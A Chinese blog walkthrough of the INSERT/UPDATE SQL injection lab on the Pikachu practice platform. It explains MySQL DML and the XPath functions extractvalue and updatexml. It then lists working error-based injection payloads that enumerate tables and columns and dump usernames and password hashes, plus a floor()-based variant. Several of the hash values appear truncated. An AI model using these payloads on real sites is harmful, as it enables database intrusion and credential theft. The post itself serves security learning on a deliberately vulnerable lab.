欢迎光临散文网 会员登陆 & 注册

Pikachu 漏洞练习平台Sql Injection Insert/update型注入通关指南pika~pika~

2023-03-10 13:20 作者:Yukito_online  | 我要投稿

天气忽冷忽热,记得及时保暖,才不是特意跟你一个人说的呢~

DML

DML(Data Manipulation Language)数据操作语言,以 INSERT、UPDATE、DELETE 三种指令为核心,分别代表插入、更新与删除,是必须要掌握的指令,DML 和 SQL 中的 select 熟称 CRUD(增删改查)。


INSERT插入的两种方式:

1、insert into 表名[(字段,字段)] values (值,值);

说明:
值和字段需要一一对应
如果是字符型或日期类型,值需要用单引号引起来;如果是数值类型,不需要用单引号
字段和值的个数必须一致,位置对应
字段如果不能为空,则必须插入值
可以为空的字段可以不用插入值,但需要注意:字段和值都不写;或字段写上,值用 null 代替
表名后面的字段可以省略不写,此时表示所有字段,顺序和表中字段顺序一致。

2、insert into 表名 set 字段 = 值,字段 = 值;(不常见建议用方式一~~~)

批量插入方式

insert into 表名 [(字段,字段)] values (值,值),(值,值),(值,值);


INSERT注入就是用插入的方式进行注入,并不是用insert into插入数据进行注入,在这里我选择用

基于Xpath的报错注入

首先介绍两个函数:

1、updataxml():

官方定义:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称;

第二个参数:XPath_string (Xpath格式的字符串);

第三个参数:new_value,String格式,替换查找到的符合条件的数据;

返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容


2、extractvalue()

官方定义:

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称;

第二个参数:XPath_string (Xpath格式的字符串);

返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容


不知道什么是Xpath请看这里

XPath即为XML路径语言(XML Path Language),它是一种用来确定XML文档中某部分位置的语言。

/html/body

不理解没关系Yukito也没理解,我们只需要知道

函数报错原因

可以看到上面两函数里都有xpath路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,而这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行。

新手的话还是一步一步来吧,有点“这是你的键盘,这是kali-linux系统,好了现在开始入侵CIA(美国中央情报局)吧”的感觉了

回到正题,注册完账号登陆进去了之后,可见只有两个按钮,退出登录修改个人信息

点击【修改个人信息】就能开始插入数据了,使用postman

设置好cookie之后,先提交submit一遍数据从浏览器里开发者选项里获取参数

对应body里的form-data

输入单引号报错,说明存在注入点

' and extractvalue(1,concat(0x7e,database())) #

上面我们说过:

在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,而这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行。

' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))or'

' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))or'

在这里总结一下学到了一个新知识,首先是要注意开头部分的and和or,and不行那就改用or,或者用替换符&&(and)和||(or),其次是闭合的方式不只有#和--+,还有or'(温故而知新,可以为师矣)

同时这里的group_concat语句意思是将结果连接成一条字段输出,当然也可以用分段函数limit()/mid()/left()/right()


' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1)))or'
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))or'

在这里服务器返回的只有一部分的数据,group_concat()参数无法全部返回,只能使用分段函数limit()/mid()/left()/right(),这里我用limit()举例,并不是因为另外三个函数我不会用


' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)))or'
' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 12,1)))or'

拿到字段名,可以获取数据了

' or extractvalue(1,concat(0x7e,(select username from users limit 0,1)))or'

我懒得截图了,反正就是修改limit之后的数字就能逐个遍历出来了

admin:e10adc3949ba59abbe56e057f20f883()

pikachu:670b14728ad9902aecba32e22fa4f6b

test:e99a18c428cb38d5f260853678922e0

收工

不光是上面的写法,还有另外一种报错写法是基于floor()函数的

'or (select 1 from (select count(*),concat((select group_concat(username,0x3a,password) from users),floor(rand(0)*2))x from information_schema.tables group by x)b) or'

标红的地方是固定写法


总结一下学到了一个新知识,首先是要注意开头部分的and和or,and不行那就改用or,或者用替换符&&(and)和||(or),其次是闭合的方式不只有#和--+,还有or'(温故而知新,可以为师矣)extractvalue()

Pikachu 漏洞练习平台Sql Injection Insert/update型注入通关指南pika~pika~的评论 (共 条)

分享到微博请遵守国家法律